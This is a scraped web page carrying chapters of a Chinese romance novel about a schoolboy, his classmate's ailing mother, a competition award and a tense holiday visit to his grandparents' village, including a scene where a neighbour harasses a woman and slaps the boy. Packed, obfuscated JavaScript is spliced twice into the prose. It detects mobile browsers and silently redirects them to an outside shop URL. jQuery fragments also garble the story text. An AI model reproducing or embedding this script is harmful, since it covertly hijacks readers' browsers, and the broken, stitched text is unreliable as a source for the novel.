$(''#content'').append('' 谢谢你来看我这个病人。” “没关系。” 陈温叫是叫女人“阿姨”,听起来对方很老,但实际上眼前的人脸上没有一丝皱纹,皮肤滑腻。若不是盘得一丝不苟的发髻和略显老气的开衫,说是三十出头都有人信。 沈泽许绕过病床,小心翼翼地将百合花放在床头柜上,顺便调整了一下花束的角度。 白千月伸手触碰花,指尖在纯白的花瓣上停留了片刻。 “真美。”她温柔地揉了揉沈泽许的头发,动作轻柔得像在对待什么珍宝,“谢谢小沈。” 陈温站在光影里,眼前的一幕对他来说好遥远,自己好像好久好久没有被家人这样对待过了…… 那个在学校里总是冷着脸的男生,此刻眼神柔软得不可思议。 “小温,别站着呀。”白千月的声音将陈温拉回现实,女人拍了拍床边的椅子,道:“来,坐这儿来。” 陈温局促地坐下,双手规规矩矩地放在膝盖上,仓鼠娃娃被放在一旁的床头柜上。 那股不安感逐渐消失,但是陈温心里有种说不上来的不自在,这个画面让他觉得有点像……像见家长? 白千月的目光在他和沈泽许之间流转,轻笑出声:“我们家小沈还是第一次带朋友来看我呢,还是个这么俊俏的男孩子。” 沈泽许的耳尖以肉眼可见的速度红了,他别过脸去,声音却格外清晰:“嗯,他很……特别。” 白千月轻轻握住了陈温的手,温热的手心在男生的手背上轻拍:“挺好的,挺好的。” 陈温这才注意到,女人保养得宜的手腕绑了一圈绷带,不禁一惊,却没多说什么。 “妈,今天还是他生日。”沈泽许边说,边找了把椅子坐下。 话音刚落,白千月就惊讶地瞪大眼睛,眼中好像闪过一丝心疼。 “哎呀,怎么不早说?我让人准备准备……” “不用了,阿姨!”陈温慌忙按住她的手,“不用那么麻烦……” 白千月却已示意私保上前…… 片刻后,一个丝绒小盒被恭敬地递到她手中。 “生日快乐啊,小温。”她打开盒子,银色的项链在灯光下流转着光,那颗小小的星星吊坠像是把窗外的阳光都收集在了里面。 陈温呼吸一滞:“这太贵重了……” “收下吧。”白千月将手链放进他的掌心,金属冰冰凉凉的触感极快传了来。 “小沈从没带人来见过我。”她意味深长地看了眼沈泽许,“你对他而言,一定很特别。” “……” 沈泽许别过脸,耳尖微微粉红。 陈温捧着那条项链,感觉心脏快要跳出胸膛,星星吊坠在他掌心微微发烫,像是真的摘下了天上的一颗星辰。 “那我收下了,谢谢阿姨。” “哈哈,客气什么。” 送完礼物,一大一小开始聊起天,沈泽许安静地坐在一旁,唇边噙着若有似无的笑意。 他不动声色地挪动椅子,不着痕迹地拉近了与陈温的距离,却始终没有插话。 “天啊,这件礼服是您设计的?”陈温睁大眼睛,手指小心抚过册子上的照片,“我妈她之前特别喜欢这个系列。” 白千月翻开下一页,道:“真的吗?等阿姨身体好些了,给你妈妈免费设计一套。” 陈温笑容僵住:“不用了。” “那不行,她竟然这么了解我,还知道我做的那么久的系列,我一定要认识一下她。”白千月喋喋不休。 “我妈妈不在了。”陈温说着,低下了头。 “啊?对不起小温,阿姨不知道……”白千月慌乱地合上册子,双手无处安放。 陈温重新抬起头来时,眼眶微红却带着笑:“没关系的,都过去好久了。” 沈泽许的指节泛白,安慰的手停在半空,最终只是轻轻拽了拽自己的袖口。 白千月握住陈温的手,在他手背上轻轻拍打:“阿姨刚才的话让你难过了吧?” 陈温摇摇头,嘴角扬起一抹温和的弧度:“没事,能和您聊天,我就感觉很开心。” 好像找回跟廖淑琴的相处方式。 白千月看了看沈泽许,目光最后定格在陈温脸上:“小沈能有你这样的朋友,真好。”她说着,胡乱地揉捏陈温的脸。 门外传来保镖恭敬的提醒声: “少爷,夫人该休息了。” 白千月这才恋恋不舍地松开手。 “这么快就要走了啊……”她看向陈温时,眼里盛满期待,“下次再来看阿姨好不好?” 男生愉快答应:“一定来。” 女人朝沈泽许使了个眼色:“去送送小温。” 天已经变黑了,小区门口的路灯将两人的影子拉得很长。 陈温攥着口袋里的星星项链,声音很轻:“那……我先回去了。” “嗯,再见。” 男生刚走出几步,一阵夜风便卷起一片落叶擦过他的脚边。 陈温鬼使神差地回头——沈泽许依然站在原地,目光专注得仿佛要将他刻进眼底。 那一瞬间,胸口泛起一阵酸涩的悸动,像是有颗柠檬糖在心上化开。 为什么很难受呢? 21. 回乡 今年的国庆假期安排像被顽童剪碎的拼图——放一天上一天,七拼八凑下来只比平常周末多出短短24小时。 教室里,阳光极为充足,陈温趴在桌上昏昏欲睡,耳边是此起彼伏的喧闹声:后排男生用课本模拟击剑的破空声,女生们讨论旅行计划的叽喳声,还有纸飞机掠过头顶的声音。 忽然间,一阵诡异的寂静如潮水漫过教室。 陈温见周围安静下来,迷糊地抬起头,额前那撮不听话的头发随着动作翘得更高。 讲台上,班主任楚婷安静地凝视众人。 她的目光像探照灯一样扫过每个同学,最后定格在教室后方某个角落——那里还飘着半截没来得及落地的纸飞机。 “看来某些同学,已经提前进入假期状态了?” 整个课室鸦雀无声。 楚婷见大家被她的权威吓得都不说话,又问:“我有那么吓人吗?” “嗯。”是林宇舟的声音。 “不许发出奇怪的声音。” 林宇舟作死的又“嗯”了一声,这行为引得前排几个同学肩膀微微抖动,又硬生生憋住。 “林、宇、舟,”楚婷一字一顿地说,“从现在开始,除了回答问题,不许出声。” “嗯。” 楚婷太阳穴跳动的青筋清晰可见,却在瞥见窗外麻雀打架的瞬间破功。 同学们你看看我,我看看你,都不知道往常没什么表情的班主任怎么了。 楚婷扬起嘴角,三张烫金证书从文件袋拿了出,在讲台上折射出令人眩晕的光亮,大家这才明白老师怎么了。 “让我们恭喜我们的叶萧云同学,获得数学竞赛二等奖!” 同学们顿时炸开了锅,后排那个永远睡不醒的身影此刻成了全场焦点。 叶大少爷正支着下巴打盹,被同桌猛地推醒时,还一脸茫然。待听清楚婷的话后,他才慢条斯理地边揉着眼睛边起身。 在全班注视下,他不紧不慢地朝讲台走去,路上还拂过校服上并不存在的褶皱。 “低调低调。”叶大少爷接过证书时的动作像在接杯咖啡。 讲台下的同学:“……” 装什么?! 叶萧云又要漫不经心地晃下讲台时,楚婷的声音就从身后传来:“等等——你妈妈要求我帮你张拍照片,你先站回去。” 楚婷说着,掏出手机,手机镜头反射的光晃得叶萧云眯起眼。在全班憋笑的目光中,叶少爷极不愿地站回讲台,松开了插兜的手。 班主任找好角度,画面定格,在照片上的表情活像被抢了小鱼干的猫。 在叶萧云上台的期间,坐在课室中间的陈温支起下巴,眼睛亮晶晶地朝讲台上的证书看去,用手肘捅了捅身旁的沈泽许。 “喂。”陈温歪头,笑得像只找到橡果的松鼠,故意说:“猜猜这次打赌,是我赢,还是我赢?” 沈泽许缓缓转头的动作像慢镜头,手里还捏着笔,他道:“怎么没有我?” 陈温准备好似的表情,虎牙尖抵着下唇:“那你猜,是你赢,还是我赢?” “你赢。”话音刚落,沈泽许便道。 陈温的笑容凝固了,他眨了眨眼,不解地说:“啥?” “因为,”沈泽许忽地凑近,温热的呼吸带着茉莉的气息拂过陈温耳廓,“我想让你赢。” 话一出口,陈温就猛地后仰,椅子腿在地面刮出刺耳的声响。 这不对吧! 一般不应该说是自己赢吗? “你、你再这样说这些肉麻的话……”陈温举起拳头虚晃一下,“我就揍你。” 举起拳头的手,腕骨处却被沈泽许稳稳握住,对方的拇指恰好按在他的脉搏上,那里正跳得飞快。 陈温觉得自己不会动了,呆呆地看着对方。 直到楚婷的声音传过来时,两人还保持着这个姿势。 “沈泽许,陈温!” 陈温一抬眼便见全班的目光齐刷刷射来,男生脸红成一片,迅速抽开了手。 楚婷手里拿起两张一模一样的烫金证书,在阳光下并排展开。 “你们俩——”她拖长音调,眼里闪着骄傲的光芒,“并列一等奖!跟一中那个学霸分数一模一样!” 班上的同学听了,拍桌声、口哨声、起哄声响成一片。 叶萧云也在后排激动地鼓掌:“牛批!!!” 他们并肩走上讲台,楚婷欣慰地注视两人,“恭喜,当初把你们调成同桌真是明智之举。”她将证书郑重地递过去,“这只是校级证书,省级的等开校会再颁发。” “谢谢老师。”两道声音不约而同地响起。 两人也拍了照,很快回了座位。 陈温坐下,把证书往旁边一放,就凑近沈泽许,小声说:“并列第一?那现在算谁赢?” 沈泽许垂眸看着两人并排放置的证书,唇角微扬:“平局。” “不行,”陈温较起真来,“要不……你欠我一个愿望,我也欠你一个?” “好。” 沈泽许点点头,两人靠得有些近,陈温身上的桂花香气混着阳光的味道扑面而来,让他忍不住深吸了一口。 陈温趴回桌上,歪头看见沈泽许正认真摆放课桌的侧脸,“噗嗤”笑出声:“说真的,沈泽许你话好少啊!” 沈泽许:“话少,不代表没话说。” “哇,沈大学霸,你今天说话的字数快破纪录了吧?”陈温故意掰着手指数,“一、二、三……,你刚刚足足说了八个字呢!” 沈泽许:“……” 他的动作顿了顿,目光落在陈温因笑意而弯起的眼睛上,说:“你今天的话比我这学期说的都多。” 陈温心脏的跳动好像比平常快了几分,他低头假装整理桌面,声音也小了下去:“还不是因为你平常不爱讲话。” “嗯。”沈泽许嘴角扬起一个好看的弧度,“那你多说点,我爱听。” 陈温猛地别过脸去,后颈泛起一片粉色。 “……幼稚鬼!” 楚婷发完东西便开始讲课:“翻开教材第37页,今天我们讲——” 陈温转回头,小声说起悄悄话:“沈泽许。” “嗯?” “你国庆打算去哪儿玩啊?” 沈泽许垂下眼睫,似乎真的认真思考了三秒,道:“图书馆吧,看些名著。” “哦——”陈温拖长了音调,又撇撇嘴,目光飘向窗外,“真没意思。” 沈泽许盯着陈温那微微鼓起的脸颊,轻声问:“那你呢?” 男生眼睛亮了一下,又转过身,故意装作漫不经心道:“我啊,可能去游乐园?或者看电影?反正……”他顿了顿,声音渐渐变小,“肯定不会一个人泡图书馆。” 沈泽许的目光落在陈温不自觉攥紧的手指上,欲言又止:“那……” “那什么?” “没事。”沈泽许又移开视线,“玩得开心。” 陈温看他逃避的目光,“哼”了一声,把脸埋进臂弯里,只露出一双眼睛:“……书呆子。” 书呆子没反驳,他不动声色地把陈温的证书“偷”了过来,将两人的证书并在一起,红色本子紧贴着,像两张结婚证一样。 “你在干嘛?”陈温余光瞥见,瞪圆了眼睛,一把将证书拿了回来。 沈泽许点了点证书道:“放一起。” “不给。”陈温故意似的把证书往怀里藏,却藏不住嘴角翘起的弧度。 沈泽许垂下眼睛,用闷闷不乐地语气说:“不可以吗?” “……”陈温顿时语塞,忍不住吞了口唾沫。 他懵地别过脸去,把证书往桌上一拍:“别这样……随、随便你……欣赏完还我。” 沈泽许又将两张证书并排摆好,似笑非笑的表情,像在得意,但又不像。 陈温总结:沈泽许是个幼稚鬼。 下课铃响起,陈温从书包深处掏出手机,屏幕亮起的瞬间,陈林峰的消息跳了出来: 「国庆回爷爷家。」 六个汉字整齐排列,像六枚生锈的钉子扎进眼底。陈温的关节微微发白,像是被无形的丝线吊住的傀儡。 最终那个“好”字轻飘飘地落在对话框里,锁屏声淹没在喧嚣中,如同石子沉入深潭。 内操场的香樟树枝叶在风中翻涌,摩擦声像是无数张老照片在翻动。 陈温的视线穿过晃动的树影,恍惚间,看见十几年前的阳光穿透记忆的雾霭——那年盛夏的日头毒得能把水泥地烤出裂纹。 他蹲在乡下的老屋外的水池边洗碗,肥皂泡炸开,发出轻微的爆裂声,像是什么东西在悄悄破碎。 突然,一阵压抑的呜咽刺破蝉鸣。 太奶蜷缩在柿子树下的阴影里,枯瘦的身躯像片风干的橘皮。 她攥着褪色的衣角,浑浊的泪水在皱纹间蜿蜒:“我妈妈去哪儿了,我妈妈不见了……” 奶奶摔门的巨响惊飞了树上的麻雀,做萝卜板的面粉还粘在围裙上,大喊道:“又犯糊涂!你妈早没了!” 呵斥声像把生锈的剪刀,将回忆剪得支离破碎。 见奶奶回了老屋,陈温便慌忙地冲掉手上的泡沫,跑了过去,水珠溅在水泥地上,转眼就被烈日舔舐干净。 老人家的手腕细得惊人,皮肤薄得像层纸,在阳光下能看见青紫色的血管。 送她回去的路上,太奶的意识好像清醒了片刻,她用布满老年斑的手摸了摸陈温的脸。“你是小温……小温长大啦。” “小温”两个字又让陈温想起他名字的由来。 陈温出生时体弱,太奶那时还算清醒,她说:“这孩子命里风雨多,叫‘温’才能压住寒气。” 记忆又跳到那个黄昏。 推开老屋的木门时,陈温闻到了熟悉的烟草味,爷爷坐在藤椅里吞云吐雾,烟圈在夕阳中缓缓上升,像一个个消散的魂灵。 “你太奶走了……”老人的声音沙哑得像是被烟熏了三十年。 “我能去看看她吗?”书包带子在陈温的掌心勒出深红的痕迹。 爷爷的烟斗在门槛上磕出的闷响,是这场对话的休止符。 “你奶说不成。说娃儿沾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“知道啦,知道啦!”慕雨澄头也不抬,在屏幕上疯狂刮擦,像只急躁的蟋蟀在磨爪,“跟我推塔啊!” 陈温睁眼,见晨雾正被初阳蒸腾,露珠拖着尾迹滑落,像谁在偷偷流泪。 “爸,这次住几天?”他问得含糊,陈林峰敲打方向盘的动作顿了顿,道:“两天。” 导航机械女声报出“前方3公里拥堵”,像句不祥的谶语。 陈温轻轻“嗯”了一声,重新闭上眼睛。 还好是两天。 车子驶入乡道时,熟悉的颠簸感让陈温彻底清醒。稻浪翻滚成金色的海洋,野蒿草长得比人还高,几只白鹭从水田里惊起。 柏油路不知何时变成了碎石路,轮胎碾过时发出脆响。 一路跌跌撞撞,终于到达了目的地。 车门打开的瞬间,声浪裹着柴火味扑面而来,奶奶举着未完工的竹筐小跑过来,嗓门亮得像刚擦亮的铜锣。 “哎呦我的宝贝孙子们!” 慕雪提着水果袋,笑盈盈地走在最前面。 “妈,带了些您爱吃的冬枣。” 陈温沉默地拎着保健品,红色缎带勒进掌心,在皮肤上刻出蚯蚓状的纹路。 慕雨澄磨蹭着不肯下车,运动鞋底跟黏了口香糖似的。 “小雨!”慕雪回头瞪了他一眼,慕雨澄这才把手机塞进兜里,少年嘟囔着,后颈炸起几根不服管的短发:“知道了知道了……” 陈温下意识环顾四周,余光忽然瞥见隔壁的水泥墙——一道模糊的人影倏地闪过。 那人的动作太快,容易让人误解为是一只猫咪跳了下去。 陈温没太在意,刚把礼盒放下,裤脚突如其来的拉扯感让男生僵住。 低头的瞬间,他对上一双棕色的眼睛——小黄狗的鼻子正拱他的运动鞋,吐着粉红色的舌头。 四岁那年被大黑狗狂追的记忆闪电般劈来,陈温小腿肌肉条件反射地绷紧。 他好想逃,却逃不掉。 这小家伙却无辜地翻出奶白色的肚皮,绒毛间露出几点浅褐色的雀斑,尾巴摇动时带起尘土,像株会跳舞的蒲公英。 陈温鬼使神差地蹲下,手掌刚触到那对毛茸茸的耳朵,小狗就翻出软乎乎的肚皮,发出幼犬特有的哼唧声。 还挺好摸的。 陈温挠着它的下巴,小狗就开心地摇尾巴。 “脏死了!”奶奶的呵斥如冷水泼下,惊得小狗一骨碌爬起来。 男生悬在空中的手被猛地拽回,腕骨在老人粗糙的掌心里生疼。 “这些土狗身上指不定带着跳蚤呢!” 水龙头哗哗作响,陈温不情愿地搓手。 透过水花,他看见小黄狗还蹲在原地,歪着头看他,尾巴尖轻轻点地。 趁那双塑料拖鞋的主人远去,陈温调皮地甩了甩手上的水珠。 一滴水溅到小狗的鼻尖,它受惊般打了个喷嚏,逗得陈温一笑。 22. 想你了 老式吊扇在头顶缓慢旋转,搅动着饭菜蒸腾的热气,在每个人脸上蒙了层毛玻璃。 陈温盯着餐盘里那团辨不出原貌的物体—— 焦褐色的表面泛着可疑的油光,两根蔫软的青菜伸出的手臂,从酱汁里探出头来。 不知是客厅的灯光太暗,还是这道菜确实经历了某种炼金术般的失败,总之它成功摧毁了人类最基本的进食欲望。 奶奶的红筷舞动着没有停过,鸡腿落在慕雨澄碗里,油星溅到他卫衣的标志上。 “男孩子正长身体!” 老人笑着,眼尾皱纹挤成晒干的龙眼壳。 她忽然转向陈温这边,浑浊的瞳孔里闪过一丝迟疑,又若无其事地把红烧肉的酱汁淋在慕雨澄堆成小山的米饭上。 “妈,小雨不能吃这么多……”慕雪轻声劝阻,目光却不自觉地飘向陈温。 慕雪的筷子像迟疑的白鹭,最终落在清蒸鲈鱼最肥美的腹部,雪白的鱼肉搁进陈温碗里。 她道:“爷爷从河里捞的鱼,小温你尝尝。” 鱼肉在舌尖碎裂的瞬间,浓烈的土腥味如同爆开的淤泥炸弹。 陈温下意识皱眉,想干呕,却在抬头时撞上爷爷探究的目光,他小声说:“有点腥。” “腥?”爷爷的筷子重重拍在桌上,“我天没亮就去钓的鱼!” 慕雪见状,急忙尝了一口:“很鲜啊。”她疑惑地看向陈温发白的脸色,“是不是胃不舒服?” 是自己太矫情了? 他小时候一直都吃爷爷奶奶做的菜,自从去了惠城后嘴巴就变得很挑,也不知道是被谁养出来的毛病。 陈温没再说话,重新把米饭塞进嘴里,咀嚼肌机械地鼓动,喉结每吞咽一次都像在克服某种阻碍。 慕雨澄瞥了陈温一眼,吐出鸡骨头,含糊不清地说道:“他就是挑食。” 吃完饭,电视剧里的肥皂剧哭笑声与长辈的闲聊糅合成厚重的声浪。 陈温坐在塑料的红凳上,臀下发出轻微的呻吟。两米外,慕雨澄蜷在木质沙发上,“大”字型敞开着身体。 “中路!中路!别怂啊上啊!”男生压低的吼叫中,陈温无声地起身,地板发出极轻的叹息,淹没在电视机突然爆发的掌声里。 门轴转动的“吱呀”被刻意控制在最小幅度,直到阳光如温水般劈头浇下,陈温则在台阶上踉跄了一步。 他抬手遮挡时,看见指缝间漏下的金光里,那只小黄狗正叼着块骨头,向他奔来,尾巴摇成模糊的螺旋桨。 小黄狗一直跟在陈温身后,陈温还是有些怕狗的,但是小黄不管不顾地跟着他,陈温也没办法让它不跟过来,只能跟它保持着一定的距离。 一人一狗沿着新铺的水泥路慢慢散步,拐过晒谷场,那棵老桂花树冷不丁撞进视野——比记忆中高出许多,树冠像一把撑开的绿伞,笼罩着半边老旧的祠堂外墙。 十月的天气还是略微闷热,陈温在树下的一张旧条凳前坐下,那张条凳的漆皮已经斑驳,露出底下淡色的木纹,像是被遗弃在这里很久了。 陈温仰头望去,透过枝叶缝隙好像能看见祠堂新换的琉璃瓦,在阳光下泛着刺眼的光。 远处传来摩托车的轰鸣,几个戴安全帽的工人驶过,扬起一路灰尘。 树下的蚂蚁队伍正搬运着月饼碎屑,陈温下意识抬脚,给它们让出一条“安全通道”。 小时候这里总是挤满跳皮筋的女孩和弹玻璃珠的男孩,现在却只剩下几片被风卷动的塑料袋,挂在灌木丛上哗啦作响。 一片桂花落进衣领,凉得像滴迟到的眼泪,眼前突然晃过一抹刺眼的亮橙色。 陈温抬头,慕雨澄逆光站着,手里举着两支快要融化的冰淇淋,其中一只快要抵到他的脸上,包装纸在阳光下泛着廉价的荧光色。 “拿着啊。”慕雨澄把冰淇淋往他怀里一杵,冰凉的触感便立刻透过T恤传来,“再不吃就化了。” 陈温愣愣地拿起,塑料包装上还沾着对方掌心的汗。 他记得这个牌子——小时候一块五一支,廖淑琴总说色素太多不让买。 “谢谢。” 慕雨澄一屁股坐在条凳另一端,凳子发出不堪重负的吱呀声。 他三两口咬掉半个冰淇淋,道:“你跑这儿干嘛?缅怀童年?” 甜腻的香精味在舌尖化开,陈温发现这支冰淇淋和记忆中的味道不太一样。 “你跟过来就是为说这个?” 慕雨澄把空包装纸揉成一团,扔进三米外的垃圾桶。 “我怕你走丢了。” 陈温说:“你不打游戏了?” “菜鸡队友,没意思。”慕雨澄的手指无意识地抠着木凳边缘的裂痕道。 陈温见他这样,没再说什么,继续吃起冰淇淋。 慕雨澄把冰淇淋舔得差不多,他忽然说:“你……是不是也觉得特没劲?” 陈温的冰淇淋棍在掌心转了个圈,虽然说他不知道慕雨澄具体指的是什么,但是他想起客厅里大人们永远聊不完的生意经,想起奶奶不停给慕雨澄夹菜的筷子,想起那盘被说“不腥”的鱼。 “还行吧。”他最终只吐出这三个字。 慕雨澄起身,拍了拍裤子上掉落的几颗桂花,说:“好无聊,你带我在周围逛逛吧。” 陈温吃完冰淇淋,带着人在附近转悠,他自己也说不上来,几年没有回来了,这里的一切与记忆中的都不一样了。 午后的阳光毒辣,村小学的黄土操场上蒸腾着热浪。几个半大孩子拍着脱皮的篮球,吆喝着要跟城里来的兄弟俩“单挑”。 慕雨澄嗤笑一声:“就你们?陈温我们上!” 他特意跺了跺脚上那双限量版球鞋,鞋底在尘土里碾出嚣张的印子。 “来了。”陈温脱下外套挂在单杠上,杠子的红漆早已脱落,露出底下锈蚀的金属。 他余光瞥见杠身侧面刻着歪歪扭扭的两个字——“陈和沈”。 “陈温!快点啊!” 慕雨澄在不远处不耐烦地喊他。 陈温如梦初醒般回神,他回了句“来了”,便急忙小跑过去。 几个回合下来,那群小孩已经气喘吁吁,汗湿的刘海黏在额头上。 两个刺头交换了个眼神。 就在慕雨澄跃起接球的瞬间,其中一人突然侧身—— “砰!” 慕雨澄重重摔在泥地上,膝盖擦过粗粝的地面。篮球弹了两下,滚进草丛深处,惊飞几只麻雀。 “啊!”男生整个人栽进泥坑时,溅起的泥点像泼墨画般甩在围观孩子们的裤腿上。 “噗——” 不知是谁先笑出声,紧接着爆发出哄笑。 慕雨澄扶着地板站起身,限量版球鞋糊满泥浆,裤腿裂开的口子里露出渗血的膝盖。 他恶狠狠扫视人群,拳头攥得指节发白,却在刚要开口骂人时,被陈温拽住。 他说:“算了,先回去处理伤口吧。” 慕雨澄猛地挣开他的手,头也不回地走了。 陈温站在原地没动,视线却死死钉在单杠上,片刻,他才跟上慕雨澄。 男生一瘸一拐地走在最前头,骂声惊起草丛里的蚱蜢。 快到老屋的院子时,他突然停在老槐树下,指着膝盖上凝结的血痂。 “靠,流血了,我妈不得骂死我啊。” 陈温刚要开口,身后袭来混合着烟酒与槟榔的浊臭——隔壁家的邻居不知何时逼近。 他张着一口黄牙说道: “陈温长这么高啦!还记得我不?我是你老陈叔啊,小时候我还抱过你呢。” “哎哟,这个是小澄吧。摔了?来来来,叔这刚好有个药膏!” 陈温一抬头,就见男人站在了他们身前,手里晃着一管药膏,脸上堆着笑,眼睛却往院子里瞟——慕雪正在井边洗菜。 这个男人的身影眼熟,但陈温一时之间想不起来什么时候见过这人。 村子里都是一个姓的,也许他小时候真的被这人抱过,但现在的陈温闻着那股呛人的烟味,只想带着慕雨澄绕开他。 他挡在慕雨澄身前:“不用了,家里有药。” 老陈“啧”了一声,硬是把药膏往慕雨澄手里塞:“客气啥?这药可灵了,抹上就不疼……” 他的手还没碰到慕雨澄,吃完冰棍后就不见踪影的小黄狗,便急吼吼地从院子里冲了出来,对着老陈狂吠,还咬住他的小腿。 “滚开!畜生!”老陈抬脚踢狗,小黄狗被他踹得可怜的“哼哼”了两声。 见状,陈温一把扶过慕雨澄,冷冷地说:“我说过了,不用了。您赶紧回去吧!” 老陈脸上的笑僵了僵,眼神阴了下来,但最终只是“哼”了一声。他没有离开,而是轻车熟路地往他们家院子里走,嘴里还嘟囔着:“不识好歹……” 在老陈吃疼期间,男人把药膏扔进了慕雨澄的怀里,慕雨澄瞧着手里的药膏,脸色极为臭,他甩手扔进草丛,道: “什么东西,恶心。” 陈温弯下腰,安抚似地摸了摸小黄狗的头:“干的漂亮。” 他刚摸到小黄狗湿润的鼻头,慕雨澄就跟个炮弹般冲进屋内——他看见老陈的手正贴着慕雪的手背滑动,而他的妈妈正不舒服地挣扎着,男人将手里攥着的一个很薄的红包,硬要往慕雪口袋塞。 陈林峰在厨房剁鱼,因为菜刀在砧板上砍出密集的鼓点声,他没有听到外面的动静。 “你干嘛!”慕雨澄一个箭步插进两人之间,扑面而来的是劣质香水混合着汗酸的腐臭味,令人作呕。 老陈讪笑着松手:“城里人就是讲究……” 红包被撞掉在地,露出里面皱巴巴的两百元,像张被唾沫粘住的创可贴。 陈温见状也跑进屋,他肩膀狠狠撞开老陈,拉开他与慕雪的距离。 “妈!走,我们回屋里!” 他扶着一脸惊恐的慕雪,就要往房间里走。 “这里不欢迎你,赶紧回去吧。” 老陈脸上的假笑瞬间消失,眼神阴冷下来,他猛地伸手,一把拽住陈温的衣领。 “小兔崽子,给你脸了是吧? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171955|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 陈温的后脑勺被拽的直往门框撞,与此同时,男人冷笑一声,另一只手扬起—— “啪!” 一记耳光重重甩在陈温脸上。 周围的人安静了一瞬。 慕雨澄睁大眼睛,冲上来就要动手。 “你放开陈温!” 陈温的虎牙不小心磕破嘴角,他偏着头感觉脸颊火辣辣地疼,耳边也嗡嗡作响。他慢慢转回头,嘴角渗出血丝,眼神却冷得吓人。 慕雪尖叫一声扑上来:“王八蛋你干什么!” 老陈还想再动手,突然—— “汪!” 一道黄色的影子猛地从门外窜进来,小黄狗龇着牙,一口咬在男人小腿上。 “啊!滚开!”老陈吃痛,松开陈温去踢狗。 陈温则是趁机一把推开他,护住慕雪和慕雨澄,他的声音很低,却带着从未有过的狠意:“你再碰阿姨一下试试?!” 屋外的剁鱼声停了。陈林峰拎着一把菜刀走了进来,他目光扫过众人,目光最后落在老陈身上。 “又是你?谁让你进来的!” “咚咚咚——” 三声克制的敲门声在病房里荡开。 沈泽许用肩膀顶开虚掩的门,手里捧着的保温桶正冒出袅袅白气。 排骨汤的香气将房间笼罩,白千月从书上抬起头,目光却越过儿子肩头,在他身后空荡荡的走廊停留了片刻。她合上书,封面几个金字标题在暮色里黯了黯。 沈泽许说:“妈,喝汤。” 保温桶旋开,白千月接过汤勺,不锈钢勺柄映出她微微下垂的眼角。 汤面浮着的枸杞像几滴血珠,随着她搅拌的动作打转,白千月随意的问道:“你爸出差去了?好久没来了,什么时候回来?” 沈泽许将空调温度调高,又拉开一半窗帘,夕阳立刻穿过玻璃,斜斜地切进来,把病床栏杆的影子拉成长长的栅栏,横亘在母子之间。 “他说下周回。”沈泽许说。 “那你爸上次跟你说了什么?”白千月盯着汤里沉浮的玉米块,“看他表情挺差的……是不是保镖跟他说了陈温的事……” 白千月话音未落,沈泽许已经走了过来。 “没事,就是担心您的检查报告。”他说得很快,像在背诵排练过的台词。 白千月没回话,低头喝汤时,沈泽许看见她后颈新生的白发,一两根,藏在黑发里像未化的雪。 “陈温呢?”女人停下动作,勺柄上的倒影晃了晃,“那孩子好久没来了。” “他最近忙。” “忙,都忙。”白千月又喝了口汤:“哎,就小沈能陪我了。” 沈泽许掏出手机:“我让他来看看您?” “算了……”白千月知道他在说谁,摇头的动作还没做完,沈泽许的消息已经发了出去。 三个字静静躺在对话框里: 「想你了」 月光像被打翻的水银,在晒谷场上肆意流淌,那些堆成小山的稻谷垛投下锯齿状的阴影,远远望去如同沉睡的兽群。 慕雪倚在谷垛旁的身影被月光勾勒得单薄,她的声音很轻,几乎被夜风吹散。 “以前我摆夜市的时候,他也这样缠着我。那时候我跟你爸还不认识,但是你爸看到后,抄着钢管就来了。” 陈温站在她身后,怀里的小黄狗挣扎着跳了下来。小家伙一落地,立刻摇着尾巴去舔慕雪的鞋尖。 舔了一会儿,小黄猛地竖起耳朵,冲着黑暗处“汪”地叫了一声。 狗吠声划破夜色的刹那,陈温的裤袋突然亮了一下。 「大好人:想你了。」 陈温没回消息,快速回头——老槐树下,老陈的拖鞋在泥地上打滑,像只被灯光吓坏的蟑螂。 小黄狗冲出去时带起的一阵风,微微吹动陈温垂在额前的碎发。 片刻,远处村口的狗吠声此起彼伏,像在传递某种警告。 看着那三个字,陈温最终按下发送键时,月亮正好躲进云层,那个「好」字在屏幕上泛着微光。 他放下手机对慕雪说:“阿姨,有点变冷了,我们先回去吧。” “嗯。” 两人在昏暗的走廊里互道了句“早点休息”,慕雪的身影便没入客房的门缝。 回到儿时待过的房间,陈温反锁房门的声音惊飞了窗外的夜枭,月光从铁窗的裂缝漏进来,在地上划出一道苍白的伤口。 药膏的薄荷味早已消散,脸颊却愈发灼痛。 陈温后知后觉地发现自己的双手一直在发抖,掌根压着的地板传来阵阵凉意。 门外小黄狗的抓挠声像钝刀刮着耳膜,他把自己蜷进更深的黑暗里,仿佛这样就能躲开那些的危险。 裤袋的手机再次亮起,沈泽许的称呼在黑暗中醒目刺眼。陈温盯着那个闪烁的来电提示看了很久,最终按下了接听键。 “喂。” 电话接通后,两秒寂静,陈温能听见听筒里传来遥远的蝉鸣,和对方轻浅的呼吸。 “……嗯,我在听。” 23. 不爱了 “喂。” “嗯……我在。” 沈泽许的声音透过话筒传来,带着些许电流的质感。 “怎么突然打电话给我?”陈温问道,手指无意识地卷着衣角。 “想你了。”沈泽许的声线低沉温柔。 “啊?”陈温一时语塞,心跳加速。 “是阿姨想你了。” 电话那头传来窸窣声,白千月接过了手机。 “啊?哦哦……”陈温扶了一下自己的额头,苦笑了一下,“阿姨,我回老家了。这两天可能去不了……后天去看您可以吗?” 白千月说:“不勉强,忙的话就……哦对了。小温,可以打视频电话吗?阿姨想看看你。” “不勉强,我也不是很忙。”陈温张了张嘴,听到后面的话又立马顿住,“视频的话可能不太方便……” “这样啊……”白千月的声音明显低落下来。 